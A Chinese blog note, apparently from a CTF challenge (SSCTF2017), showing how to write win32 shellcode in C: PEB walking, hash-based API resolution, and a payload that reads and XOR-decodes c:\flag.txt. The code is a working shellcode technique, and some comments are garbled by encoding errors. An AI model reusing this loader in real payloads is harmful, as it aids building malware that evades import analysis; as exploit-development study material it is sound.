【笔记】使用C语言编写win32平台Shellcode

转自:http://www.tuicool.com/articles/eMJfaea — Pwn150 Word2003部分

例子:

/*

void *get_kernel32_base()

{

__asm

{

push ebp

xor ecx,ecx

mov esi,fs:0x30 ;        //fs30PEB指针

mov esi, [esi + 0x0C];   //PEB偏移0x0C为PEB_LDR_DATA指针

mov esi, [esi + 0x1C];  //PEB_LDR_DATA偏移0x1C为模块初始化链表指针InInitializationOrderModuleList

next_module:   ;  //从第一个模块开始查找

mov ebp, [esi + 0x08];    //当前模块基地址

mov edi, [esi + 0x20];  //

mov esi, [esi];  //模块节点起址

cmp [edi + 12*2],cl  ;// modulename[12] == 0 即判断为kernel32 ???为什么?

jne next_module  ;//否则继续查找下一个模块

mov edi,ebp;BaseAddr of Kernel32.dll  

mov eax, edi ; //直至找到kernel32.dll,将其加载基址存入edi和eax(作为返回值)

pop ebp ;  //恢复ebp

}

}

*/

#include <stdio.h>

#include <windows.h>

void ShellcodeEntry();

#define KERNEL32_HASH 0x000d4e88

#define KERNEL32_LOADLIBRARYA_HASH 0x000d5786

#define KERNEL32_GETPROCADDRESSA_HASH 0x00348bfa

//---------------------

typedef HMODULE (WINAPI *pLoadLibraryA)(LPCTSTR lpFileName);

typedef FARPROC (WINAPI *pGetProcAddressA)(HMODULE hModule,LPCTSTR lpProcName);

//=---------------------

 

void  ShellCodeStart(void)

{

ShellcodeEntry();

}

void ResolvAddr(pLoadLibraryA *pfLoadLibraryA,pGetProcAddressA*pfGetProcAddressA)

{

pLoadLibraryA fLoadLibraryA;

pGetProcAddressA fGetProcAddressA;

//获?取¨?API函¡¥数ºy地Ì?址¡¤代䨲码?出?自Á?The Shellcoders Handbook一°?书º¨¦

//支¡ì持?win 2k/NT/xp/7其?它¨¹没?测a试º?

__asm

{

push KERNEL32_LOADLIBRARYA_HASH ;//压入所需查找函数的hash值作为参数

push KERNEL32_HASH; //压入该函数对应模块名的hash值

call ResolvFuncAddr

mov fLoadLibraryA, eax;  //得到LoadLibraryA函数地址

push KERNEL32_GETPROCADDRESSA_HASH

push KERNEL32_HASH

call ResolvFuncAddr

mov fGetProcAddressA, eax;  //得到GetProcAddressA函数地址

jmp totheend

ResolvFuncAddr:

push ebp

mov ebp, esp

push ebx ;  //将各原寄存器值先保存到栈中, 构造的ResolvFuncAddr函数执行完毕时从栈中进行恢复

push esi  ;

push edi

push ecx

push fs:[0x30]

pop eax

mov eax, [eax+0x0c]  ;//当前查找函数的hash值(没看懂怎么定位的)

mov ecx, [eax+0x0c]  ; //同上

next_module:

mov edx, [ecx]

mov eax, [ecx+0x30]  ;//模块名-

push 0x02

mov edi, [ebp+0x08]

push edi

push eax

call hashit  ;//计算模块名hash值

test eax, eax

jz foundmodule  ;//hash值相等即为所要找模块

mov ecx, edx

jmp next_module ;//否则继续循环查找

foundmodule:

mov eax, [ecx+0x18] ;//找到kernel32模块后,+08得到kernel32.dll在内存中基址

push eax  ;

mov ebx, [eax+0x3c] ;//kernel32.dll基址+3C得其PE头(相对起始地址?)

add eax, ebx

mov ebx, [eax+0x78];  //eax+ebx+78得函数导出表起始地址

pop eax

push eax

add ebx, eax

mov ecx, [ebx+28]

mov edx, [ebx+32]

mov ebx, [ebx+36]

add ecx, eax

add edx, eax

add ebx, eax

find_procedure:

mov esi, [edx]

pop eax

push eax

add esi, eax

push 1

push [ebp+12]

push esi

call hashit

test eax, eax

jz found_procedure

add edx, 4

add ebx, 2

jmp find_procedure

found_procedure:

pop eax

xor edx, edx

mov dx, [ebx]

shl edx, 2

add ecx, edx

add eax, [ecx]

pop ecx

pop edi

pop esi

pop ebx

mov esp, ebp

pop ebp

ret 0x08

hashit:  ;//用于计算hash值

push ebp

mov ebp, esp

push ecx

push ebx

push edx

xor ecx,ecx

xor ebx,ebx

xor edx,edx

mov eax, [ebp+0x08]

hashloop:

mov dl, [eax]

or dl, 0x60

add ebx, edx

shl ebx, 0x01

add eax, [ebp+16]

mov cl, [eax]

test cl, cl

loopnz hashloop

xor eax, eax

mov ecx, [ebp+12]

cmp ebx, ecx

jz donehash

inc eax

donehash:

pop edx    //恢复寄存器

pop ebx

pop ecx

mov esp, ebp

pop ebp

ret 12

totheend:

}

*pfLoadLibraryA = fLoadLibraryA;

*pfGetProcAddressA = fGetProcAddressA;

}

//===========================

 

//定义要用到的各函数的指针

typedef int (WINAPI *pMessageBoxA)(HWNDhWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);

typedef FILE* (__cdecl *pfopen)(constchar * path,const char * mode);

typedef size_t (__cdecl * pfread)(void *buffer, size_t size, size_t count, FILE *stream);

typedef int (__cdecl * pfseek)(FILE*stream, long offset, int fromwhere);

typedef long int (__cdecl *pftell)(FILE * stream );

typedef int (__cdecl * pfclose)(FILE*stream);

typedef void* (__cdecl * pmalloc)(size_tsize);

 

//-----------

void fmemset(void *dest, char ch, int size)

{

int i;

for (i = 0; i < size; i++)

{

((char *)dest)[i] = ch;

}

}

//--------------

 

void ShellcodeEntry()

{

pLoadLibraryA fLoadLibraryA;

pGetProcAddressA fGetProcAddressA;

ResolvAddr(&(fLoadLibraryA), &(fGetProcAddressA));

 

//----------下为定义各写shellcode要用到的函数及其所在dll的十六进制ASCII码(以便通过上面找到的fLoadLibraryA和fGetProcAddressA直接找到所需函数)----------

int val_User32_dll[3];   // “User32_dll”的十六进制ASCII码

val_User32_dll[0] = 0x72657355;

val_User32_dll[1] = 0x642e3233;

val_User32_dll[2] = 0x6c6c;

int val_MessageBoxA[3];  // “MessageBoxA”的十六进制ASCII码

val_MessageBoxA[0] = 0x7373654d;

val_MessageBoxA[1] = 0x42656761;

val_MessageBoxA[2] = 0x41786f;

int val_msvcrt_dll[3];   // “msvcrt_dll”的十六进制ASCII码

val_msvcrt_dll[0] = 0x6376736d;

val_msvcrt_dll[1] = 0x642e7472;

val_msvcrt_dll[2] = 0x6c6c;

int val_fopen[2];

val_fopen[0] = 0x65706f66;

val_fopen[1] = 0x6e;

int val_fread[2];

val_fread[0] = 0x61657266;

val_fread[1] = 0x64;

int val_fseek[2];

val_fseek[0] = 0x65657366;

val_fseek[1] = 0x6b;

int val_ftell[2];

val_ftell[0] = 0x6c657466;

val_ftell[1] = 0x6c;

int val_fclose[2];

val_fclose[0] = 0x6f6c6366;

val_fclose[1] = 0x6573;

int val_malloc[2];  //malloc函数名的十六进制ASCII码

val_malloc[0] = 0x6c6c616d;

val_malloc[1] = 0x636f;

int val_SSCTF2017[3] ; // SSCTF2017的十六进制ASCII码

val_SSCTF2017[0] = 0x54435353;

val_SSCTF2017[1] = 0x31303246;

val_SSCTF2017[2] = 0x37;

int val_c_flag_txt[3]; //c:flag.txt的十六进制ASCII码

val_c_flag_txt[0] = 0x665c3a63;

val_c_flag_txt[1] = 0x2e67616c;

val_c_flag_txt[2] = 0x747874;

//-------------------------------------

 

 

int val_rb[1];

val_rb[0] = 0x6272;

 

HMODULE User32;

pMessageBoxA fMessageBoxA;

User32 = fLoadLibraryA((char *)val_User32_dll);

fMessageBoxA = (pMessageBoxA)fGetProcAddressA(User32, (char*)val_MessageBoxA);

HMODULE Msvcrt;

long int fz;

pfopen ffopen;

pfread ffread;

pfseek ffseek;

pftell fftell;

pfclose ffclose;

pmalloc fmalloc;

Msvcrt = fLoadLibraryA((char *)val_msvcrt_dll);

ffopen = (pfopen)fGetProcAddressA(Msvcrt,(char *)val_fopen);

ffread = (pfread)fGetProcAddressA(Msvcrt, (char *)val_fread);

ffseek = (pfseek)fGetProcAddressA(Msvcrt,(char *)val_fseek);

fftell = (pftell)fGetProcAddressA(Msvcrt, (char *)val_ftell);

ffclose = (pfclose)fGetProcAddressA(Msvcrt, (char *)val_fclose);

fmalloc = (pmalloc)fGetProcAddressA(Msvcrt, (char *)val_malloc);

char* Title = (char *)val_SSCTF2017;

char* filename = (char *)val_c_flag_txt;

char *mode = (char *)val_rb;

char *buff;

FILE *fp = ffopen(filename, mode);

ffseek(fp, 0, SEEK_END);

fz = fftell(fp);

ffseek(fp, 0, SEEK_SET);

buff = (char *)fmalloc(fz + 1);

ffread(buff, 1, fz, fp);

ffclose(fp);

int i;

for (i = 0; i < fz; i++)

{

buff[i] ^= 0xcc;  //取异或

}

buff[fz] = 0;

fMessageBoxA(NULL,buff,Title,MB_OK);

//getchar();

}

void  ShellCodeEnd(void)

{

__asm

{

nop

nop

nop

}

}

void main()

{

unsigned char *p_ptr = (unsigned char *)ShellCodeStart;

unsigned char *p_end = (unsigned char *)ShellCodeEnd;

printf("size:%d\n", p_end - p_ptr);

while (p_ptr < p_end)

{

printf("%02x", *p_ptr); //打印出shellcode的十六进制形式

p_ptr++;

}

ShellCodeStart();

}



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值